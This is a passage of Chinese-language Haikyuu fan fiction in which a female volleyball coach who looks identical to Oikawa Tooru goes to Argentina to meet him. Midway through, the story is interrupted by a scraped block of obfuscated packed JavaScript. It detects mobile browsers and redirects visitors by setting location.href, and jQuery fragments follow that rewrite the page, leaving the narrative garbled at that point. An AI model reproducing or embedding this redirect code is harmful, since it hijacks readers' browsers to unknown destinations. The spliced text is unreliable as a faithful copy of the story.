出于未来职业发展的需要——星野教练可太清楚及川真澄这种要做就做到最好的性格了——在及川真澄同意接手青叶城西的女子排球部之后，星野教练就带她去考了排球教练的资格证书，以便她未来能直接从青叶城西跳槽去职业俱乐部，或者更高的地方。
而隔壁同样沦落到废部边缘的男排的入畑教练在得知了女排这边新教练的消息之后——用了一点时间去说服星野教练把现在人数勉强达标的两个社团放在一起训练，并做出了会让校方给新鲜出炉的女排教练及川真澄算上男排教练的那份工资的承诺。
“……及川这一个月都会在外面招下一届的新生——准确来说是二传手和王牌，毕竟这次的春高是她们的最后一次机会了。”星野教练瞥了眼站在自己身边的入畑教练，“女排和男排可不一样，你到底为什么要把两个社团的训练塞到一起？”
“虽然女排和男排不一样，但在赛场上使用的技术和战术是共通的。”入畑教练捧着水壶，思绪已经飞回到了八年前的青叶城西，“她是八年前宫城县内最强的女排二传手——”
“就和你们那时的主将一样——我们谁也别笑谁，都没带队进过全国大赛呢。”星野教练苦笑，想起当年因为及川真澄突然昏迷而陷入混乱的赛场，“但他已经走向了全世界，而她的排球生涯中断在了八年前的春高预选赛决赛赛场上。”
“……不过，既然能被你邀请回来当女排的教练，那想来应该是一个和我们家主将一样能够最大程度激发队员潜力的选手。”入畑教练看了眼星野教练，给出自己的回答，“这就是我要把他们塞过来的理由，仅此而已。”
在勉强补充完女子排球部的生源之后，及川真澄对着男子排球部同样空空荡荡的新生候选犯愁——就在这时，星野教练给及川真澄提供了一个新的方向。
“明星选手？”
“就像白鸟泽和乌野一样，用知名度够高的毕业生来吸引新生……”直接从入畑教练那边把男排老底都给掀了的星野教练给及川真澄分析情况，“今年阿根廷队的那个二传手就是你那个时候男排的主将——我用入畑的人脉给你约了一次私下见面的机会，直接去阿根廷和那家伙见一面吧。”
“……那小樱和小绘里沙的排球训练——”
“佐久间不是已经转学到北川第一了吗？顺便还把苍井的转学手续也办好了。”星野教练笑着打消及川真澄的顾虑，“那两个孩子这段时间就交给我吧，正好也能提前和前辈们磨合一下。”
“那我今天就出发。”
及川真澄答应了星野教练，又一次动身离开了宫城县的范围之内——正好错过了白鸟泽女排那边因为超级名人突然返校所带来的兵荒马乱。
这也是她现在披着青叶城西的运动服出现在阿根廷机场的原因——虽然是入畑教练出面帮忙约的见面机会，但从一开始青叶城西这边就把前来阿根廷的及川真澄按死在了普通校友的位置上，连名字都没透露给那位阿根廷国家队的二传手。
——虽然不知道为什么两位教练要这么做，甚至成功联合了那位明星选手的幼驯染瞒下具体情况，但及川真澄出于保险考虑，拿出了最有身份辨识度的浅青白两色的青叶城西运动服。
——只是，刚走到机场出口，及川真澄立刻就明白了星野教练和入畑教练说的不用任何标志，一眼就能认出那位二传手的原因。
时间回到更早的时候。
奥运已经结束，阿根廷止步季军——除了时间更加充裕的东道主日本队之外，不少国家的运动员都早早离开日本，离开临时组成的国家队各回各俱乐部去了。
及川彻在和高中时期认识的日本队成员们简单地进行了一次聚餐之后，也跟着阿根廷的队友们离开了日本——自然也就错过了半个月后从孤爪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318242|167350||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
研磨向日向翔阳确认的某件事情中传出来的，几乎震动了所有妖怪世代成员的离奇消息。
以至于身为及川彻幼驯染的岩泉一在接到入畑教练的拜托后，把及川真澄的消息在及川彻这边瞒了个严严实实。
“入畑教练给我介绍人过来？私下见面？”几天前的晚上，及川彻接到了岩泉一打来的跨洋电话，“需要我带个接机牌去接人吗？名字是？嗯？‘只要一见面就能认出来’？你不会是在跟我开玩笑吧小岩。”
“不，你肯定能认出来的。”岩泉一笃定地回答及川彻，一边看着手里那两张由青叶城西的两位教练提供的照片，“好了，我要开始工作了——晚安，及川。”
“啊，早上好，小岩。”
于是，直到前不久岩泉一给及川彻发了一个航班号为止，及川彻连一点来访者的信息都没找到——他不是没去问过日本队里的那几个家伙，但一个比一个守口如瓶，就连本来快要松口向及川彻透露情况的日向翔阳都被其他人想尽办法拦了下来。
——不知道是谁找了孤爪研磨还是孤爪研磨自己意识到日向翔阳这边的保密会出问题，以至于孤爪研磨拿着对日向翔阳的赞助金让即将对及川彻松口的日向翔阳及时地闭上了嘴。
但今天来到机场接机，及川彻才意识到那群人守口如瓶的原因，还有岩泉一那么肯定他第一眼就能发现来访者的理由——他和那个穿着青叶城西运动服的女性，简直就像水面的倒影一样。
他们两个看起来，简直就像是——世界上的另一个自己。
及川彻紧急在自己的大脑里搜索起女排二传手的选手情况，但在他完成搜索之前，和他长着同一张脸的穿着青叶城西运动服的女性已经走到了他的面前，并且作出了自我介绍——
“你好，我是及川真澄，是青叶城西排球部的教练。”
“你好，我是及川彻。”